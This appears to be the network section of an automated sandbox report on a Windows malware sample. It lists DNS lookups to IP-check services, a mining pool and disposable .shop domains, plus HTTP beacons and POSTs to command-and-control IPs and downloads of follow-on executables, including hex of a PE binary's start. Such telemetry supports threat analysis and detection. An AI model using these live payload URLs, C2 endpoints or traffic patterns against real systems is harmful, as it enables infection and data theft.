Aug 21, 2024 08:35:23.904839993 CEST	192.168.2.6	1.1.1.1	0xab27	Standard query (0)	claywyaeropumps.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 21, 2024 08:32:07.703358889 CEST	1.1.1.1	192.168.2.6	0x4124	No error (0)	api.myip.com		172.67.75.163	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:07.703358889 CEST	1.1.1.1	192.168.2.6	0x4124	No error (0)	api.myip.com		104.26.8.59	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:07.703358889 CEST	1.1.1.1	192.168.2.6	0x4124	No error (0)	api.myip.com		104.26.9.59	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:08.388570070 CEST	1.1.1.1	192.168.2.6	0x91ae	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:13.120131016 CEST	1.1.1.1	192.168.2.6	0xb379	Server failure (2)	240812161425945.tyr.zont16.com	none	none	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:13.245616913 CEST	1.1.1.1	192.168.2.6	0x5199	No error (0)	mcrogers.com		162.241.203.25	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:13.256541014 CEST	1.1.1.1	192.168.2.6	0x1f5c	No error (0)	siscorp.mx		162.241.63.30	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:13.726982117 CEST	1.1.1.1	192.168.2.6	0xf962	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:13.726982117 CEST	1.1.1.1	192.168.2.6	0xf962	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:13.726982117 CEST	1.1.1.1	192.168.2.6	0xf962	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:13.726982117 CEST	1.1.1.1	192.168.2.6	0xf962	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:13.726982117 CEST	1.1.1.1	192.168.2.6	0xf962	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:15.472942114 CEST	1.1.1.1	192.168.2.6	0x834a	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 21, 2024 08:32:15.472942114 CEST	1.1.1.1	192.168.2.6	0x834a	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:26.672101021 CEST	1.1.1.1	192.168.2.6	0x6bca	No error (0)	yip.su		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:26.672101021 CEST	1.1.1.1	192.168.2.6	0x6bca	No error (0)	yip.su		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:36.566140890 CEST	1.1.1.1	192.168.2.6	0xa376	No error (0)	pool.hashvault.pro		95.179.241.203	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:36.566140890 CEST	1.1.1.1	192.168.2.6	0xa376	No error (0)	pool.hashvault.pro		45.76.89.70	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:51.462749958 CEST	1.1.1.1	192.168.2.6	0x4881	No error (0)	torubleeodsmzo.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:51.462749958 CEST	1.1.1.1	192.168.2.6	0x4881	No error (0)	torubleeodsmzo.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:52.453815937 CEST	1.1.1.1	192.168.2.6	0xe2ef	No error (0)	potentioallykeos.shop		172.67.148.102	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:52.453815937 CEST	1.1.1.1	192.168.2.6	0xe2ef	No error (0)	potentioallykeos.shop		104.21.95.208	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:53.346811056 CEST	1.1.1.1	192.168.2.6	0x6b3b	No error (0)	interactiedovspm.shop		172.67.161.217	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:53.346811056 CEST	1.1.1.1	192.168.2.6	0x6b3b	No error (0)	interactiedovspm.shop		104.21.42.119	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:54.295325041 CEST	1.1.1.1	192.168.2.6	0x2679	No error (0)	charecteristicdxp.shop		172.67.186.145	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:54.295325041 CEST	1.1.1.1	192.168.2.6	0x2679	No error (0)	charecteristicdxp.shop		104.21.84.50	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:54.532212019 CEST	1.1.1.1	192.168.2.6	0xbec2	No error (0)	api.2ip.ua		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:54.532212019 CEST	1.1.1.1	192.168.2.6	0xbec2	No error (0)	api.2ip.ua		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:55.178858995 CEST	1.1.1.1	192.168.2.6	0x8186	No error (0)	cagedwifedsozm.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:55.178858995 CEST	1.1.1.1	192.168.2.6	0x8186	No error (0)	cagedwifedsozm.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:56.110812902 CEST	1.1.1.1	192.168.2.6	0x856a	No error (0)	deicedosmzj.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:56.110812902 CEST	1.1.1.1	192.168.2.6	0x856a	No error (0)	deicedosmzj.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:57.350903988 CEST	1.1.1.1	192.168.2.6	0x6ee4	No error (0)	southedhiscuso.shop		172.67.178.83	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:57.350903988 CEST	1.1.1.1	192.168.2.6	0x6ee4	No error (0)	southedhiscuso.shop		104.21.17.213	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:58.267106056 CEST	1.1.1.1	192.168.2.6	0xe228	No error (0)	consciousourwi.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:58.267106056 CEST	1.1.1.1	192.168.2.6	0xe228	No error (0)	consciousourwi.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:59.457799911 CEST	1.1.1.1	192.168.2.6	0xca3e	Name error (3)	weiggheticulop.shop	none	none	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:59.472106934 CEST	1.1.1.1	192.168.2.6	0x426b	No error (0)	steamcommunity.com		23.197.127.21	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:00.692732096 CEST	1.1.1.1	192.168.2.6	0xdd7b	No error (0)	tenntysjuxmz.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:00.692732096 CEST	1.1.1.1	192.168.2.6	0xdd7b	No error (0)	tenntysjuxmz.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:06.348284006 CEST	1.1.1.1	192.168.2.6	0xdad1	No error (0)	service-domain.xyz		54.210.117.250	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:07.381666899 CEST	1.1.1.1	192.168.2.6	0xbeab	No error (0)	www.rapidfilestorage.com	env-3936544.jcloud.kz		CNAME (Canonical name)	IN (0x0001)	false
Aug 21, 2024 08:33:07.381666899 CEST	1.1.1.1	192.168.2.6	0xbeab	No error (0)	env-3936544.jcloud.kz		185.22.66.16	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:07.381666899 CEST	1.1.1.1	192.168.2.6	0xbeab	No error (0)	env-3936544.jcloud.kz		185.22.66.15	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:08.279966116 CEST	1.1.1.1	192.168.2.6	0x8882	No error (0)	helsinki-dtc.com		194.67.87.38	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:10.144694090 CEST	1.1.1.1	192.168.2.6	0xd744	No error (0)	skrptfiles.tracemonitors.com	d1u0l9f6kr1di3.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 21, 2024 08:33:10.144694090 CEST	1.1.1.1	192.168.2.6	0xd744	No error (0)	d1u0l9f6kr1di3.cloudfront.net		18.239.236.83	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:10.144694090 CEST	1.1.1.1	192.168.2.6	0xd744	No error (0)	d1u0l9f6kr1di3.cloudfront.net		18.239.236.66	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:10.144694090 CEST	1.1.1.1	192.168.2.6	0xd744	No error (0)	d1u0l9f6kr1di3.cloudfront.net		18.239.236.97	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:10.144694090 CEST	1.1.1.1	192.168.2.6	0xd744	No error (0)	d1u0l9f6kr1di3.cloudfront.net		18.239.236.89	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:10.161307096 CEST	1.1.1.1	192.168.2.6	0x491	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 21, 2024 08:33:10.161307096 CEST	1.1.1.1	192.168.2.6	0x491	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.225	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:18.510595083 CEST	1.1.1.1	192.168.2.6	0x504a	No error (0)	www.rapidfilestorage.com	env-3936544.jcloud.kz		CNAME (Canonical name)	IN (0x0001)	false
Aug 21, 2024 08:33:18.510595083 CEST	1.1.1.1	192.168.2.6	0x504a	No error (0)	env-3936544.jcloud.kz		185.22.66.15	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:18.510595083 CEST	1.1.1.1	192.168.2.6	0x504a	No error (0)	env-3936544.jcloud.kz		185.22.66.16	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:19.245790958 CEST	1.1.1.1	192.168.2.6	0x9b3b	No error (0)	api5.check-data.xyz	checkdata-1114476139.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 21, 2024 08:33:19.245790958 CEST	1.1.1.1	192.168.2.6	0x9b3b	No error (0)	checkdata-1114476139.us-west-2.elb.amazonaws.com		35.161.111.70	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:19.245790958 CEST	1.1.1.1	192.168.2.6	0x9b3b	No error (0)	checkdata-1114476139.us-west-2.elb.amazonaws.com		44.224.108.88	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:31.803138971 CEST	1.1.1.1	192.168.2.6	0x209	No error (0)	api.2ip.ua		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:31.803138971 CEST	1.1.1.1	192.168.2.6	0x209	No error (0)	api.2ip.ua		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:51.078203917 CEST	1.1.1.1	192.168.2.6	0x2f58	No error (0)	api.2ip.ua		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:51.078203917 CEST	1.1.1.1	192.168.2.6	0x2f58	No error (0)	api.2ip.ua		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407757044 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		190.13.174.94	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407757044 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		218.152.239.123	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407757044 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		196.189.156.245	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407757044 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		211.181.24.133	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407757044 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		177.129.90.106	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407757044 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		191.191.224.16	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407757044 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		211.171.233.126	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407757044 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		197.164.156.210	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407757044 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		78.89.199.216	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407757044 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		154.73.128.66	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407783031 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		190.13.174.94	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407783031 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		218.152.239.123	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407783031 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		196.189.156.245	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407783031 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		211.181.24.133	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407783031 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		177.129.90.106	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407783031 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		191.191.224.16	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407783031 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		211.171.233.126	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407783031 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		197.164.156.210	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407783031 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		78.89.199.216	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407783031 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		154.73.128.66	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407795906 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		190.13.174.94	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407795906 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		218.152.239.123	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407795906 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		196.189.156.245	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407795906 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		211.181.24.133	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407795906 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		177.129.90.106	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407795906 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		191.191.224.16	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407795906 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		211.171.233.126	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407795906 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		197.164.156.210	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407795906 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		78.89.199.216	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.407795906 CEST	1.1.1.1	192.168.2.6	0xde7e	No error (0)	cajgtus.com		154.73.128.66	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:35:24.434305906 CEST	1.1.1.1	192.168.2.6	0xab27	No error (0)	claywyaeropumps.com		178.132.2.10	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49713	147.45.47.57	80	4032	C:\Users\user\Desktop\3QKcKCEzYP.exe

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:31:59.113576889 CEST	218	OUT	GET /api/crazyfish.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Host: 147.45.47.57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49715	193.233.232.86	80	4032	C:\Users\user\Desktop\3QKcKCEzYP.exe

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:32:07.077573061 CEST	220	OUT	GET /api/crazyfish.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Host: 193.233.232.86
Aug 21, 2024 08:32:07.687237978 CEST	259	IN	HTTP/1.1 200 OK Date: Wed, 21 Aug 2024 06:32:07 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 6 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 66 69 73 68 31 35 Data Ascii: fish15
Aug 21, 2024 08:32:11.199012041 CEST	289	OUT	POST /api/twofish.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Content-Length: 133 Host: 193.233.232.86
Aug 21, 2024 08:32:11.199052095 CEST	133	OUT	Data Raw: 64 61 74 61 3d 7a 54 38 32 70 46 4c 70 5a 45 59 47 41 46 71 74 38 48 47 76 4a 53 48 4e 48 78 52 4a 69 43 41 53 52 76 35 34 6e 38 4e 33 62 44 59 42 33 73 79 67 6a 4e 51 78 45 43 66 44 39 62 48 51 50 78 61 68 57 45 30 64 68 52 2d 43 51 48 79 44 51 Data Ascii: data=zT82pFLpZEYGAFqt8HGvJSHNHxRJiCASRv54n8N3bDYB3sygjNQxECfD9bHQPxahWE0dhR-CQHyDQv8M9vGqGzj911ywguXA9Xlyea0Lq7y8IEsDNJpvBl0a1GL-WExZ
Aug 21, 2024 08:32:12.418088913 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 21 Aug 2024 06:32:11 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1560 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 44 56 6e 69 68 66 73 62 72 4e 46 44 73 6d 53 6b 4e 6f 69 77 73 58 5a 69 4d 6d 66 56 38 6e 44 41 42 45 67 72 44 59 30 35 70 77 65 46 53 4b 32 55 6c 57 70 54 45 30 66 4d 72 50 4b 65 35 41 34 70 66 4b 49 77 49 66 37 46 6b 34 52 4b 39 4a 52 55 34 46 39 35 46 37 77 65 46 68 4a 78 45 73 74 4b 64 69 44 74 68 34 47 44 44 67 4f 54 67 76 35 55 32 78 6f 72 66 44 30 35 6e 72 39 33 41 6c 79 54 66 64 6f 4a 56 52 4c 4b 34 5a 4a 2f 41 36 52 38 65 58 4d 54 58 36 4a 49 47 75 45 41 77 56 64 6f 62 37 52 55 5a 41 59 56 73 7a 65 73 64 75 62 49 6a 75 38 34 43 41 50 38 57 56 55 52 75 73 41 74 30 32 35 74 74 35 79 45 4c 68 79 53 48 62 44 35 31 73 36 69 37 4e 47 5a 62 62 59 43 49 4e 75 55 5a 5a 48 63 49 36 47 71 77 30 44 48 79 35 59 34 68 77 5a 30 54 53 67 6a 6a 52 5a 34 75 34 58 34 71 55 54 61 76 53 66 33 6d 39 4d 76 35 74 47 37 58 52 62 37 79 63 59 31 5a 6c 6f 6e 63 5a 76 45 34 39 53 6b 33 56 72 49 34 71 4a 72 77 53 47 73 78 68 6b 6d 44 71 39 72 77 53 64 6a 5a 4f 36 66 75 76 72 44 4f 77 33 4e 48 31 31 55 70 41 57 57 6c 53 [TRUNCATED] Data Ascii: DVnihfsbrNFDsmSkNoiwsXZiMmfV8nDABEgrDY05pweFSK2UlWpTE0fMrPKe5A4pfKIwIf7Fk4RK9JRU4F95F7weFhJxEstKdiDth4GDDgOTgv5U2xorfD05nr93AlyTfdoJVRLK4ZJ/A6R8eXMTX6JIGuEAwVdob7RUZAYVszesdubIju84CAP8WVURusAt025tt5yELhySHbD51s6i7NGZbbYCINuUZZHcI6Gqw0DHy5Y4hwZ0TSgjjRZ4u4X4qUTavSf3m9Mv5tG7XRb7ycY1ZloncZvE49Sk3VrI4qJrwSGsxhkmDq9rwSdjZO6fuvrDOw3NH11UpAWWlSO1FXZso+DG7ec9odxEccwBmqNhQ7Hzzb9xjFYsxKV8EjYr7ysT9MrvPmz6gP8MEP37Df8HLdGelqBUIk318jvjGbGAaL34wTo/TjePxlzHXxtGKgPPyaECFe24mEtYT2roU2a1wy6lgUyEtuQ1FyDVelybsNVuMdGI5QhBYaQ0HKdXxtmZeaw7Xyl3c4hYLY8WKuf3o3ryMBJAjo62XC2HC4RBcLy8PQgqF6PDk31JiXYQQwy/7awZ5eK9AxdCN4/bthl5lX/RcrXhXeLUzUPBQOBXEyxBjoA3lzSdC1rRs2wHwoUCaQxeXU5TqjqHTNVulhW+MwC2+H/1rCxhA/u+NH0lgDb5Qev2aQRcbRWYWlWDBQunRVYFLU1HG5jHl6sEX5/3RIUe1k3oP6S/A5KCjfyUjvoQLBGBYn1QJJ0xa9os37fxMw4LQrI9uN3mbWW5NeZIOLqzXI5lxrIrSKeyMonzUglcdqR+DEkVWvb7bHaB1M919aGQQ4sUZnVmhoMaNKzQDAkGRKfbsUYTuLYsaKoL8mENKaU0m2PrslrlOOKMVH7CIgC8V5OkDFRrVisY2qK+B+CtisYmEvakmaWqaw27Jqqlgb6p5vDZTSReNvNf+M60SlSF6rIFj8edBnNe3
Aug 21, 2024 08:32:12.418189049 CEST	579	IN	Data Raw: 6b 38 7a 46 56 42 5a 4a 39 7a 71 6b 75 4e 33 6b 32 77 77 41 4d 79 4f 48 55 71 7a 54 49 4e 55 70 4e 74 62 5a 44 6a 56 68 4c 35 2b 7a 69 57 64 33 50 33 4c 6c 34 4c 61 66 47 4c 31 2f 46 72 33 6d 61 64 69 79 4b 74 37 6f 55 56 50 71 55 57 51 4f 79 55 Data Ascii: k8zFVBZJ9zqkuN3k2wwAMyOHUqzTINUpNtbZDjVhL5+ziWd3P3Ll4LafGL1/Fr3madiyKt7oUVPqUWQOyUIui/nS450OoFq/fZqFhmZNnN3QeqUxLefukI0Zm6zHnDpUVLAS0ByyEuHzWw1lDCeVqz5+R+lpGg3sJ2nc3/VJGLxGU4OfZ1fiKGqwPGJIbMzCA95BVYzDdVxuyzxrLTjHLN6miM75oUKd+V0tRQWrZ7e9P5yRyXD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49719	147.45.44.104	80	4032	C:\Users\user\Desktop\3QKcKCEzYP.exe

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:32:13.040162086 CEST	223	OUT	HEAD /prog/66c4c71a033c6_otr.exe#kisotr HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 21, 2024 08:32:13.671483994 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 21 Aug 2024 06:32:13 GMT Content-Type: application/octet-stream Content-Length: 2984448 Last-Modified: Tue, 20 Aug 2024 16:40:58 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c4c71a-2d8a00" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Aug 21, 2024 08:32:13.671793938 CEST	225	OUT	HEAD /prog/66c3721bc46fe_Ernrnmkio.exe#14 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 21, 2024 08:32:14.157032013 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 21 Aug 2024 06:32:13 GMT Content-Type: application/octet-stream Content-Length: 999936 Last-Modified: Mon, 19 Aug 2024 16:26:03 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c3721b-f4200" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Aug 21, 2024 08:32:14.157296896 CEST	222	OUT	GET /prog/66c4c71a033c6_otr.exe#kisotr HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 21, 2024 08:32:14.343199015 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 21 Aug 2024 06:32:14 GMT Content-Type: application/octet-stream Content-Length: 2984448 Last-Modified: Tue, 20 Aug 2024 16:40:58 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c4c71a-2d8a00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a f5 14 d3 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 50 00 00 f8 2b 00 00 90 01 00 00 00 00 00 0e 17 2c 00 00 20 00 00 00 20 2c 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 2d 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ba 16 2c 00 4f 00 00 00 00 20 2c 00 9c 8c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2d 00 0c 00 00 00 00 16 2c 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJP+, ,@ -@,O ,-,8 H.text+ + `.rsrc ,+@@.reloc--@B,HWO`(&(ss s!s"s#0~o$+0~o%+0~o&+0~o'+0~o(+0<~(),!rp(o+s,~+0~+"0&(
Aug 21, 2024 08:32:14.343220949 CEST	1236	IN	Data Raw: 06 72 33 00 00 70 7e 07 00 00 04 6f 2d 00 00 0a 28 2e 00 00 0a 0b 07 74 06 00 00 1b 0a 2b 00 06 2a 56 73 0e 00 00 06 28 2f 00 00 0a 74 06 00 00 02 80 08 00 00 04 2a 1e 02 28 30 00 00 0a 2a 13 30 01 00 0b 00 00 00 09 00 00 11 00 7e 08 00 00 04 0a Data Ascii: r3p~o-(.t+Vs(/t(00~+0(+*0"`AQ"ArAprp"B"w2B1rprprp"H@rAprp"FBF
Aug 21, 2024 08:32:14.343231916 CEST	448	IN	Data Raw: 70 13 06 16 13 07 16 13 08 17 13 09 22 50 7a 2b 42 13 0a 1f 23 13 0b 72 f7 0f 00 70 13 0c 1f 11 13 0d 72 51 10 00 70 13 0e 1f 2e 13 0f 17 13 10 22 1d bd 41 42 13 11 72 87 10 00 70 13 12 22 3b 30 84 40 13 13 17 13 14 16 13 15 17 13 16 17 13 17 72 Data Ascii: p"Pz+B#rprQp."ABrp";0@rpr9pS""4AU2 !"^B"#$%r}p&'-(J)rp"BwB+"bOB,r#p-.rwp/rp0"?120rp"9>
